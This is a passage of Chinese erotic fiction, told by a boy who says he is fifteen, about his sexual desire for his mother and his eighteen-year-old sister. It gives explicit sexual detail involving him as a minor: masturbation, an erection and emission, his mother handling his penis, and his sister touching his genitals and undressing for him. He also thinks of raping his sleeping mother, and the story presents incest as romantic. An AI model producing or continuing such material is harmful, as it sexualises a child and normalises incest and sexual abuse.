「那你为什么要疏远妈妈?难道不是怪妈妈平时对你管得太严么?」「绝对不是的,妈妈,我发誓,绝对不是,我也很爱妈妈呢,我更舍不得离开妈妈。」说着说着,我突然把妈妈抱进我的怀里,我绝对是出于情不自禁,难得这次真的是纯洁的,「妈妈,请相信我。」妈妈叹了一声,似乎并不适应被我抱在怀里,便挣脱开来,道,「好了,妈妈信你,那你为什么这段时间不肯跟妈妈亲近,也不肯跟妈妈说心里话?还总是跟妈妈堵气!」「我……」我不敢说出实情,吱唔了一阵才编了个谎,道,「是因为妈妈你太霸道了,一天二十四小时,只有睡觉那七小时是自由的,吃饭还得规定多少时间得吃完,散步也规定每天必须两次,我想我怎么也算得上半个大人了吧,我想拥有更多的自由,但是我真的不是讨厌妈妈啊,我还是很喜欢跟妈妈生活在一起,只是希望妈妈以后别再管得我那么紧。」妈妈想了想,或许是联想到那天我们母子第一次起冲突时的情景,就是因为我无缘无故起床太晚,她不准我吃早餐,终于才开始堵气的,所以就信了我的话。
「好了,妈妈答应你,以后给你适当的自由。」妈妈很快又恢复了严母的气势,一只手轻轻捏着我的脸,开始重新制定我的活动规则,「妈妈说的可是适当的自由哦,听清楚了吗?起床时间可以不那么早,但是也不能够超过七点半,要是觉得无聊,倒可以不去散步,但是吃饭你总不能够吃半天吧,这个是没得改的……」等她宣布完毕,时间已经是凌辱一点了,得,明天又不能睡过七点半才起床,但是我也不想抗议,我甚至希望她继续说下去,她一边说着,我一边抱着她,随意地抚摸她的柔发,直舒服到了心里去。
等她终于说完后,我瞬时脑热,竟大胆地在她的额头上轻吻了一下,未等她反应过来,便说道,「妈妈,我爱你。」幸好我做得很自然,所以妈妈也自然以为我的爱是纯洁的,是儿子对母亲的爱,于是露出了微笑,并且还温柔地回吻了我。
我简直好比吃了蜜似的,甜进心里,感觉妈妈吻我的地方似乎还能散发出温香。
这时候也许是太亢奋了吧,我突然做了件不安分的事情:把妈妈的秀发一带,全带到了她的胸前,满头乌亮柔顺的青丝披散在她两团丰满的乳房上面,看得我一阵心神荡漾。
幸好此举似乎仍未超出妈妈的宽容范围,所以她只是满足地微笑着,眼睛眨也不眨地看着我。
「好了别玩了,快些睡吧,明天不能超过七点半呢。」她温柔地道。
「妈妈再亲我一下我就睡。」我耍赖道。
妈妈并没有拒绝,轻凑过来,在我的脸上轻轻地吻过,然后说了声「晚安」,便熄灯,阖眼。
第三章:姐姐
自从开始意淫妈妈之后我第一次跟妈妈同睡。
这天夜里我睡得特别舒服和安稳。当夜里我梦到了妈妈,但是并没有遗精,梦里也没有发生什么特别的事情,具体的梦境醒来已经记不起来。
很是奇怪这天早上睡醒之后我心情很放松。我是比妈妈先睡醒过来的,外面的天色还没有大亮呢,晨光比较微弱,我睁开眼睛时,便朦朦胧胧地看到了妈妈迷人的睡姿,她的玉腿微屈着,脚掌的形状非常的性感,肌肤如凝脂,青丝仍然慵懒地搭在胸前,那是我昨晚的杰作,可见妈妈睡觉很安分的,没有特别大的动作。她侧面对着我,低胸的睡裙使我能够欣赏到她那令人心颤的乳勾,而由于她是侧睡的,致使她的双乳挤紧,更加的令人心颤。我暗暗地羡慕起婴儿时期的自己来,那时候的我可是随时都能够捧着这双美乳尽情地吸食乳汁的呢。我的目光住上移动,看到她那甜美的脸蛋,我终于忍不住凑过去,轻柔而深情地吻她。
我原本是想吻她的娇唇的,但是害怕吻醒了她,就只好求其次,亲吻了她的脸蛋。
此时我的阳具硬邦邦的,跟妈妈阴部的距离只有不到十厘米,但我并没有以往那么重的心理负担。我知道妈妈的睡眠很健康很有规律,时间没到是不会那么容易醒的,我想如果我对着熟睡的妈妈手淫,甚至当高潮快要来临时大胆地去亲吻她,那么肯定会前所未有的刺激,但奇怪的是我只是如此设想着,任由时光白白流逝,尽管这个计划完全具有可行性,而我却迟迟没有付诸于行动。并且我感觉到自己竟是懒得行动。
此时此刻,如此旖旎的情景,简直是绝好的机会,天赐良机,机不可失时不再来,然而我竟然仅仅满足那隐藏在内心深处的意淫,而懒得付诸实际的手淫以争取更大的快感。真是奇怪的奇怪次方啊!
感到奇怪的同时还感到惊喜,因为我从中似乎看到了戒掉亵渎妈妈这样的恶习的希望。
事实上我从来没有放弃尝试戒掉这个恶习,即使是在我一边幻想着妈妈的裸体一边手淫而达到性高潮的那一瞬间仍然如此。
但是如果按照我此时内心的想法去实施,是否就真的能够戒得掉呢?
这是需要用时间来证明的。且说说我这个突发其想的想法:要多跟妈妈亲近,尝试寻回作为儿子时那种对母亲的爱,以冲淡对母亲的性慾。
但是在后来的日子里却是证明,这基本上只是我想要长期跟妈妈睡觉的藉口。
是的,从那时候开始我跟妈妈睡觉简直睡上了瘾,只要爸爸不在家睡,我晚上就会堂而皇之地去妈妈的房间,跟妈妈同床共眠一宿。或者有时候还是妈妈主动来到我的房间陪我睡的。
而让我感觉到奇怪的是,妈妈对我这样似乎无礼的要求,竟然由始至终连丝毫拒绝的意思都没有,彷佛在她以为跟已然到了青春期的儿子睡觉也是理所当然,完全没有什么难为情的事情。
当我意识到这个问题的时候,我已经上初 三第二学期了,在这将近一年的时间里,我倒是把手淫的次数减到了每个星期三次左右,我觉得这已经是巨大的成功,但前提是必须要经常跟妈妈睡觉,在夜晚独自醒来的时候,偷偷地意淫她。
是意淫而不是手淫。
但是也正是因为经常跟妈妈睡觉,而使得我对妈妈的性慾望变得越来越强烈。
有一次我夜里醒来。感觉阳具硬胀得快要爆炸,那时候差点意志崩溃,要当场起来把甜睡中的妈妈强 奸在床。
幸亏我当时成功悬崖勒马,终于才没有铸成大错。
可千万不要认为妈妈对陪我睡觉没有什么拒绝的意思,就可以得寸进尺,绝对没有这样的事情。
事实上她是有着非常明确的底线的,比如我虽然可以抚摸她的头发,双臂环着她的香肩睡去,但是她绝对不能够接受我把她抱在怀里。睡觉前我可以吻她的脸、额,但是绝对不能够吻她的唇、耳,以及嘴巴以下的任何地方。我也很清楚,其实那些地方都是女人比较敏感的,普遍都只有在跟自己的性伴侣做性交前戏时才会去亲吻的地方。甚至我连她的手也是不能吻的,只可以握着、抚摸。还有其他的事项这里不再多费笔墨,总而言之那些都是她的逆鳞,触则必怒。
妈妈虽然很疼爱我,但是如果真正发起火来,并且是她占着理的时候,那可不是开玩笑的。
所以我在跟她睡觉的时候,虽然有时候会趁她熟睡时做些意淫她的小举动,但是绝对不会选择触犯她的逆鳞。
话归原题,前面讲到我突然意识到妈妈对我似乎无礼的要求没能丝毫拒绝的意思,甚至还有时会主动地送上门来,爬上我的床跟我睡觉,这很奇怪,因为我知道别的母亲对自己的儿子绝对不是这样的,然而从她的底线来看,却绝无可能是想要跟我乱伦性交的意思。照我的观察,她连丝毫这样的念头都完全没有的。
如此我便想破脑袋也没法找到合理的解释。
我渐渐意识到我的妈妈跟别人的妈妈更多的异同,别人的妈妈或者在孩子还小的时候,也许是十岁以前的那段时光,会因为疼爱孩子而亲吻他,但是当到了少年时期后,普遍都不会再吻了,而我现在都已经到十五 岁,将要初 中毕业了,妈妈还是会拥抱我,吻我的脸颊,或许额头,而且总是那样轻轻地即触即离,即便如此,每次都能让我舒服到心里面去。
我实在是想不到什么合适的解释,若说妈妈有越轨跟我做爱的意思,但是她守卫自己的底线那简直就比坚守阵地的战士还要坚定,从而使我在她的面前连试探的勇气都没有。
我只好承认,这个问题无解,硬是要解,那就是妈妈实在太疼爱我了。
有时候我的床上会有两个女人,其中一个就是我的姐姐。
开始的时候姐姐见我总是要妈妈陪睡觉,还笑话我,但我觉得完全没有必要理会她的感受。
我的姐姐身体发育得很快,现在她的身材已经跟妈妈差不多的丰满,女人味也渐渐浓厚起来,我渐渐地也会幻想着她的身体来手淫,但还是比较少,更多的还是妈妈。不过可以肯定的是,我同样是很爱我的姐姐的。和对妈妈一样,其中会包括有性爱与亲情的爱。
在我情窦初开的年龄偏偏有这两个绝色尤物每天陪伴着我,想让我对她们不产生性慾都难啊。
但是我还是不喜欢姐姐凑合到跟我和妈妈一起睡觉,因为这样我就不得不安分很多,睡前不敢主动去亲吻妈妈,也不敢伸手到妈妈的背后去抚摸她的柔发。
这天夜晚就是我们在人同床共眠,妈妈睡在中间,我和姐姐分睡两边。
晚上也没发生什么特别的事情,但是到了早上我却不敢起来。妈妈以为我病了,就问我,「不舒服吗?」我说,「没有,有些累,想多睡会儿。」话刚说完,我才突然间发现,姐姐不知道什么时候睡到了我的旁边,只听得她突然发出一声尖叫,然后开始哈哈大笑起来。
妈妈奇怪地道,「蓉蓉,笑什么?」
我这才知道出事了!姐姐竟然一只手伸到我的裤子里……「妈妈,弟弟遗精了呢……」姐姐唯恐世界不乱地叫道,手上竟然沾了我的精液,这死丫头!好没有廉耻啊!就不知道什么叫淑女风范吗?
我的脸色唰地羞红了,这次可糗大了,姐姐她怎么能够这样,完全没想过我的感受啊,我很生气!
但是我正害怕妈妈会怪罪我呢,因此低着头大气都不敢出。
然而出乎我意料的是,妈妈并没有责怪我,也没有表现得像姐姐那样大惊小怪的,竟然很大方自然地撕了截纸巾,温柔地道,「阿杰,别害羞,这是男孩子的正常反应,过来,让妈妈帮你擦干净。」说完也不由得我反对,便拉下我的内裤,温柔地帮我擦拭里面的精液,并白了姐姐一眼,责怪道,「蓉蓉!可不许取笑你弟弟,男孩子遗精那是再正常不过的事情,难道你就没有例假来的时候?」姐姐顿时就萎了,嗫嚅道,「我只是因为第一次亲眼见到,觉得新鲜嘛,嘻嘻,阿杰弟弟,对不起啦。」我没空搭理她,因为这时候我已经欲仙欲死,妈妈为了擦得更仔细些,一只玉手扶住了我的阴茎,然后一股舒服无比的快感从她的指尖传到我的阴茎,马上就有了反应,昂扬冲天!妈妈却似不以为怪,神情淡定地帮我擦拭完毕,拉上裤子,说道,「好了,快去洗个澡,把内裤换了,不用觉得难为情,你身体哪个部份妈妈没有见过的?快去吧。」说完全她再撕了截纸巾,擦拭沾到她玉手上的精液。
离开时我突然在姐姐的屁股上一掐,把她掐得尖叫起来。
随即传来妈妈的笑声,「活该!」
姐姐见连妈妈都不帮她说话,便只好忍着痛不跟我计较。
我刚放好水想要沐浴,妈妈却突然帮我拿了套干净的睡衣进来,她把衣服在衣架上摆好,便温柔地拉着我的手,柔声地道,「这段时间,是不是在手淫?」我心下一惊,脑里一片空白,根本不知道怎么回答好。
妈妈伸出一只玉手,轻轻抚慰着我的脸庞,温柔地道,「没关系的,妈妈只是想告诉你,这种事情虽然会让你快乐,但是很伤身子的,一定要节制,知道吗?」我顿时觉得心头一宽,原本以为这种糗事泄密之后,妈妈绝不会轻饶了我,然而她竟然根本没有责怪我的意思,我内心又不禁奢望起来,说道,「我知道,我……一定会节制。」妈妈满意地点了点头,又问道,「一个星期手淫几次?」我伸出了手指,「三次。」妈妈温柔地笑道,「很正常,看来就算不用我说,你也是知道节制的,但是这种事情,你也不用总是埋藏在心里,也不要觉得这是什么见不得人的事,男孩子都会这样,所以不需要有太多的心理负担,否则就会产生罪恶感,时间久了会憋出毛病来的。」我原没有想到妈妈会如此宽容,将近一年时间里压在我心头的大石总算放了下来。
我说,「我知道了,谢谢妈妈。」
妈妈温柔一笑,便离开了浴室。
沐浴过之后我回到房间,发现姐姐还在我的床上睡着,她穿着柔软的睡裙,显现出她玲珑的身体,肌肤胜雪,唇红齿白,眸如秋水,整个人就犹如一件精美的艺术品。我暗暗地赞叹她的美丽。
说起来我还得感谢她,要不是她刚才当着妈妈揭穿了我梦遗的事情,我还不可能得到妈妈的温柔体贴和宽容呢。
我笑着走到床边,刚才发生的事情,当时倒不见得姐姐有什么尴尬,现在却见得她不好意思起来。她发现我的目光火热地打量着她的妙曼的身体,便即别过头去,竟装作没有发现。
我不由得心头一动。
我从未见过姐姐有这样的羞态,真的很美,很有女人味,也让我有种征服的快感。
我想也没想就爬上床去,躺到姐姐的身旁,突然张开双臂搂抱着她。
她微微地挣扎,但是挣不开我的怀抱,便突然仰起脸,道,「只到这种程度,别再得寸进尺哦。」我点了点头,默契地道,「我知道,我也怕被妈妈发现呢。」姐姐嗤地笑了一声,我就知道她终于放开了。她调整了一下身位,让我抱得更舒服一点,说道,「弟弟,你昨晚梦到谁?」事实上昨晚我正是梦到了姐姐才发生梦遗的,我迟疑了一下便老实回答,「梦到姐姐了。」姐姐在我的胸前打了一下,啐声道,「真没出息,我又没逼你,你就招了。」忽然又道,「什么时候开始的?」我说,「去年就开始了。」姐姐认真地道,「嗯,还不算太早熟啦。每次都是梦到我?就没有别的美女么?」我当然不敢说自己经常幻想着妈妈的裸体手淫,但也不能说每次都是她啊,「当然不只是你。」姐姐捏着我的脸,「哼!这么花心,姐姐白疼你了!老实交待,还有什么美女让你做梦都想着的?」我嗫嚅道,「我的女同学,说了你也不认识。」姐姐笑道,「有可能,但是你那些女同学,有几个是发育成熟了的?多数都是胸扁扁的,肯定还有比较成熟的,快老实交待哦。」她开放而大胆的言语着实让我感到惊讶,我说,「好吧,我老实交待,我经常幻想我的一个老师,是教语文的,身材很不借,就是长得没有姐姐你这么漂亮,皮肤也没有姐姐的白嫩。」姐姐嘻嘻一笑,「油嘴滑舌,想讨好姐姐啊?」说完突然翻身起来,拉着我的手臂道,「你平躺着,让我枕着你的手臂。」我依言平躺着。
姐姐枕着我的手臂,并尽量地挨近我的身体,还让我被她枕着的那只手搂着她的肩膀,此时此刻,我们就好像一对刚刚完成性爱处于温存状态的小夫妻。
我紧贴着姐姐柔软如水的身体,顿时间感到飘飘欲仙,刺激程度丝毫不亚于刚才妈妈的玉手扶住我的阴茎时。
我意识到从这一刻开始,姐姐在我心里的位置将会变得更加的重要。
须臾,耳边传来姐姐舒服的呼气声,她忽然严肃地道,「弟弟,我们是不可以发生性关系的。」「嗯。」我点头应道,内心免不了感到失望。姐姐和妈妈一样,都很在乎自己的底线。她现在已经明确地告诉我她的底线——绝不能对她进行实际性的性侵犯。
就在这时,我突然感觉到脸上微凉,是姐姐在亲吻我。
我一时之间不知所措,姐姐倒是十分镇定,吻毕后,白了我一眼,道,「看你,一点出息都没有,连做梦都在意淫我,我主动吻你,却不好意思起来了?」我笑了笑,想要回吻她,却被她伸手拦住,原来是有言在先,「只许吻脸的。」我点了点头,眼神突然深情起来,凑近姐姐娇艳的脸庞,嘴唇轻轻地吻下去,却久久舍不得移开。
姐姐伸手到我的背部轻抚着,温柔地道,「好了,吻这么久。」我忽然凑到她的耳旁,呼吸顿时急促起来,鼓起勇气道,「姐姐,我爱你。」说完我赶紧看她的脸色。
姐姐露出了欣喜的笑容,道,「无论你是哪一种爱,我都很高兴,因为我也爱你,阿杰弟弟。」我顿时觉得心甜如蜜,情不自禁地伸手去抚姐姐的脸庞。
姐姐的肌肤很柔软很润滑,触摸她的肌肤时,我感觉到身体的每一个细胞都欢愉起来。
我的目光突然移到姐姐的胸部,她和妈妈同样喜欢穿低胸的睡裙,并且里面都不穿内衣,我清晰地看到了她迷人的乳勾。
姐姐很快注意到我的视线,突然捉住我的手,郑重其事地道,「胸部很敏感的,你不许摸。」随后她还宣布了她身上很多处部位,是不准我触摸的。
我听话地答应着,最后我还是争取到一个权利,可以在只有我们两人的场合里,亲吻她的手背。
「弟弟,我们就这样说定了,以后不许越界,知道吗?」「知道了。」我答应道。
说完我又温柔地亲吻了她,她闭着眼睛享受我的亲吻。
第四章:恋姐
这天早上巧合之下我和姐姐开诚布公,竟然大胆地宣布了各自内心深藏着的超越伦理的情慾。
姐姐今年已经十八 岁,真正的荳蔻年华,很容易动情,她原本就很疼爱我,也许就是在发现我早晨梦遗的同时看到我的私处,男孩子的生殖器对于女孩子而言同样是具有难以抗拒的诱惑力的,一瞬之间就使得那原本属于对弟弟的疼爱,勇敢地冲破伦理道德的束缚,滋生出了情爱。
但是由于我们从小就从妈妈那里接受到比较严格的传统教育,所以内心总是比普通人更加畏惧伦理道德的报应,所以我们此时所产生的情慾,仍然很大程度地受到伦理道德的限制。
很明显的一点就是我们都不敢让这个秘密被妈妈有所察觉。
此时我的舌尖在姐姐娇嫩的肌肤上留恋着,彷佛与她合体,神经完全被前所未有的性快感所占据,彷佛整个人都要飘升起来。
因为我吻的时间实在太久了,姐姐已经从欲河中清醒过来,玉手捧着我的脸,轻声责怪道,「弟弟你又犯傻呢,吻这么久,待会妈妈进来我们不知觉怎么办?」我闻言当即移开嘴唇,发现姐姐雪白的脸上留下了我淡淡的吻痕,便有些担心地道,「留了印呢,要不要去洗干净?」姐姐倒并不在意,抬手随便地擦了擦,道,「洗什么洗呀,很快就没事了呢。」忽然又说了句,「我也很舒服。」我这才知道,原来女人也同样很喜欢性爱,喜欢亲昵。
由于时间不早,我们担心妈妈准备好了早餐后,会进来叫我们,所以不得不起床了。
姐姐自己去洗漱,妈妈正忙着准备早餐呢,我觉得没什么事情可做,就到了姐姐的闺房。
姐姐是很爱干净的人,她的闺房收拾得非常整洁,洋溢着淡淡的,清爽的香味,书桌上摆放着的,是她跟妈妈和我的照片,竟然没有爸爸的。这也难怪,因为爸爸重男轻女的观念简直严重到让人难以理解的程度,或许自从姐姐出生的那天起,他就根本没把这个女儿放在眼里,平时间待她也非常的冷淡。因此姐姐也就几乎是当自己出生在单亲家庭,她表面上以冷漠回应父亲对她的冷漠,但我想她并非不想得到父爱。
只见软床上摆放着一头毛绒绒的布熊猫,非常的逼真可爱,就是它经常陪伴着我的姐姐睡觉,我想将来我可以代替它的位置了。
床头旁边是姐姐的梳妆台,收拾得很整洁,很有淑女的风格。
我情不自禁地坐在梳妆台前面,面对着梳妆镜,把玩姐姐的饰物。
姐姐洗漱完了之后,赤着一双晶莹的玉足回来,我看见她还没有梳妆打扮,就突发奇想,站起来,温柔地拉着她的玉手,道,「姐姐你过来坐着,我要帮你梳头。」姐姐微笑着,顺从地坐在我前面,这样一来她的头刚好到我腹部的位置。
她把梳子递到我的手上道,「那你梳吧。」
我从镜子里看到了她满脸享受的表情,眼神里尽是柔情,真的很想吻她,但最终还是忍住了。
我接过梳子的同时,突然弯腰,凑到她的头顶上深深地吸闻着她的发香,由衷地赞美道,「姐姐你好香呢。」「香么,那你闻个够。」姐姐芳心大悦地道。
我笑着直起身,开始认真地帮她梳理头发。
我的手指从她的耳边轻轻地掠过,指尖触摸到她精致的耳垂,便不由得留恋了起来。
「傻弟弟,还不快帮姐姐梳头呀。」姐姐笑着催促道。
我的双指夹起一缕柔顺的发丝,痴迷地把玩着,说道,「姐姐,你今天戴耳坠好吗?」姐姐早就穿了耳洞,只不过却不经常戴耳环的,而我觉得她戴起来会很好看。
姐姐仰着俏脸,对着我的眼神,温柔地道,「你喜欢么?」我点了点头,「我想你戴着会很好看的。」她便欣然地打开抽屉,取出个精致的首饰盒,从里面拿出她很久以前买的水晶耳坠,递给我道,「我很久没戴了呢,喏,你来帮我戴。」「那好。」我兴奋地答应道,在接过水晶耳坠的时候,顺便握住她柔软的玉手,也没问她的意见,就拉到我的唇边,温柔地吻了下去。
姐姐并没有反抗,她默默地享受着我的亲吻所传达的爱意。
我认真地为她配戴好耳坠,对着镜子痴迷地端详着她美丽的容颜。
「美么?」姐姐突然温柔地发问。
我说,「当然美,我的姐姐,怎么可能不美呢?比天使还要美,还要圣洁呢」姐姐满意地笑着,道,「那快梳头呀,我们还要赶去上学呢。」她仍然穿着低胸的吊带睡裙,睡裙的料子手感很柔滑,视觉上则如同流动的牛奶一般,我时不时地低头往下看,看到她深深的乳勾,她从镜子里能够观察到我的举动,却并没有抗议,我便越大胆起来。突然伸手去抚摸她的脸,时而撩动她柔顺的青丝。
我由衷地道,「姐姐,因为有你,我好幸福。」姐姐芳颜大悦,抓住我的手,动情地道,「姐姐也是呢。」又道,「弟弟,好了不用梳了。」她说完便站了起来,转过身,微笑着,玉手轻抚着我的脸,「午后放学到我学校来接我。」由于我那所学校并没有开设大学部,所以姐姐和我并不在同一所学校上学,两校之间相隔较远,所以平时放学之后都是各自回家的。
现在姐姐要求我放学之后去接她,当然是为了在回家的路上我们能够单独相处,期间肯定少不了甜言蜜语的,虽然时间很短暂,但是也很宝贵。
我高兴地答应道,「好。」
姐姐忽然以命令的语气地道,「以后每天都这样,风雨不改,记住了么?」说到这里竟然有种情人约会的味道,我顿时感到前所未有的兴奋,听话地道,「记住了。」姐姐道,「快回去换衣服,要出门了呢。」我闻言不由得心中一动,突然张臂抱着姐姐的香肩,央求道,「姐姐,我想看你……看你换衣服,我要看你的身体,好吗?」姐姐倒未因我的话而害羞,却笑嘻嘻道,「这可不行。」我不依地道,「为什么不行的?你的裸体我小时候又不是没见过。」「嘿嘿,那怎么能比的,那时候本姑娘还没有发育呢,现在怎么能让你看的?
你别想!」
「姐姐……」我突然双臂用力,让她的双乳压到我的胸前,感到一阵舒服,苦苦哀求道,「我就是想看看,我还从来没有看过成熟女人的身体呢,姐姐……你就答应让我看看好不好?我真的好想看啊!」而姐姐摆着一副绝不肯松口的姿态,用力地挣开我的搂抱,口气顿时变得生硬起来,「绝对不行!这事没什么好商量的,你快点去换衣服吧。」我闻言,内心油然间产生一阵失落,看来今天是根本没有可能一饱眼福了,也就没有再死缠烂打,一方面是不想强迫,一方面是怕姐姐真的跟我翻脸。
姐姐看见我满脸不愉快的表情,似乎内心觉得不忍,突然在我的脸上轻轻地吻了一下,神色也恢复到刚才那般温和,温柔地道,「你先去换好衣服,待会我只穿内衣,让你看,好吗?」我不由得砰然心动,觉得这倒不失为一个折衷的办法,于是听话地回到自己的房间,以飞一般的速度换好了出门穿的衣服,然后还特意去看看妈妈,估计她一时半会还不会做好早餐,就兴冲冲地来到姐姐的闺房。
一看,姐姐果然只穿着白色胸罩和白色小内裤,好像一条搁浅的美人女一般摊坐在床上,挺着饱满的两团乳房,露出性感的臀部,曲线优美的小腿肚,伸着纤纤的玉足,可爱的小脚趾微微地弯着,脚背犹如平缓而流畅的斜坡。
皓腕微扬,玉指夹着一缕散落在耳畔的青丝,螓首微微偏向左边,双目如鸟儿轻睇。
肩若削成,颈若雪塑,纤腰若扶风之柳,秀发微乱而好看地贴着赤裸的肌肤。
她温情脉脉地问,「这样好不好看?」
我陶醉于姐姐的美貌,呼吸急促,脑筋有些转不过来,机械地道,「好美。」「那你好好看,以后就让姐姐成为你的性幻想对象,在你的梦里,永远留着姐姐现在的模样。」我想,即使没有你提醒,我自己都会。
姐姐并没有给我太多的时间,就穿好了短裙。
见我这时也回过神来,姐姐嫣然一笑,忽然拿起上衣抛给我,道,「你来给姐姐穿。」我兴奋地答应着,在床边坐下后很享受地为她穿衣。
姐姐目前还是高 三学生,去上学当然要穿校服的,他们学校女孩子下身穿的是过膝的短裙,而上身穿的是有领的T恤。
我为姐姐穿好衣服之后,突然心念一动,从背后轻轻地抱着她的纤纤细腰,嘴唇几乎贴着她的耳边,深情地吟起陶渊明《闲情赋》中的佳句:愿在衣而为领,承华首之余芳;悲罗襟之宵离,怨秋夜之未央!
愿在裳而为带,束窈窕之纤身;嗟温凉之异气,或脱故而服新!
愿在发而为泽,刷玄鬓于颓肩;悲佳人之屡沐,从白水而枯煎!
愿在眉而为黛,随瞻视以闲扬;悲脂粉之尚鲜,或取毁于华妆!
愿在莞而为席,安弱体于三秋;悲文茵之代御,方经年而见求!
愿在丝而为履,附素足以周旋;悲行止之有节,空委弃于床前!
愿在昼而为影,常依形而西东;悲高树之多荫,慨有时而不同!
愿在夜而为烛,照玉容于两楹;悲扶桑之舒光,奄灭景而藏明!
愿在竹而为扇,含凄飙于柔握;悲白露之晨零,顾襟袖以缅邈!
愿在木而为桐,作膝上之鸣琴;悲乐极而哀来,终推我而辍音!
我从小就熟读古文古诗,能背诵不少的名作,此时并没有刻意发掘,纯粹只是随感而发,这段佳句最适合表达我对姐姐的深切爱慕。
姐姐听着我抑扬顿挫的吟诵,很快便陶醉于其中,身体软软地陷进我的怀抱,随之而来的是她玉体的温香。我再次触摸到她柔滑的肌肤,淡淡的温情,缓缓地流进我的心扉。
我亲切地感觉到她身体的放松,她似乎毫无保留地把整个人都放心地交给了我。
她的体温和我的体温混合交融着,我们彼此都感受到了对方内心热烈的爱慾,却又不得不止步于咫尺。
「弟弟,你是一个能让女人心醉的男子,等你变得更成熟的时候,肯定会有很多漂亮女孩倒过来追求你呢。」她叹息地道。
妈妈进来叫吃早餐的时候,我们已经各自分开。
在餐桌上姐姐突然说,「妈妈,中午我和弟弟都不回家吃饭了,我们商量好了去市图书馆复习。」这肯定是她突然想到的主意,我丝毫不知情,但是我很喜欢。
刚抬起来头,就迎来姐姐得意的一瞥。
而妈妈并没有感到惊讶,因为此时姐姐和我都处在冲刺的阶段,我为了要考重点大学,姐姐则是为要考重点大学。所以妈妈很爽快就答应了,只是有些担心地道,「你们中午都不休息,受得住?」我说,「妈妈,没事的,现在晚睡时间不是比以前长了吗?」其实对于我来说,考个重点大学的压力并不是多么的重,基本上很轻松就能够考上姐姐现在上的那所学校。
至于姐姐,在学校是有名的才女,但是想考清华北大的话,就得狠下心来,苦拼一番才多有胜算,但是她未必能够舍得离开妈妈和我,而独自去到那么远的地方上学,我想她多半会在本市,或者南方其他比较近的城市选一所重点大学吧,这样的话她只要正常发挥,就绝对没有问题的。
从此之后我和姐姐真真是出双入对,只不过并没有人能够发现我们暗中有不伦恋情。
妈妈还是像以前那样,我暗地里苦苦地爱慕着她,渴望跟恋爱,跟她性交,但她却丝毫没有反应,所有都只不过是我的单相思,她对我的爱,是深如海水的母爱。她的美容院自从去年就已经办了起来,所以她现在时间也是很紧的,但她却还是坚持中午和晚上七点钟以前回到家里,细心地照顾姐姐和我,似乎她向事业女性发展的同时,也并未想过舍弃家庭妇女的角色。
至于爸爸,我们常常会把他忽略。
【完】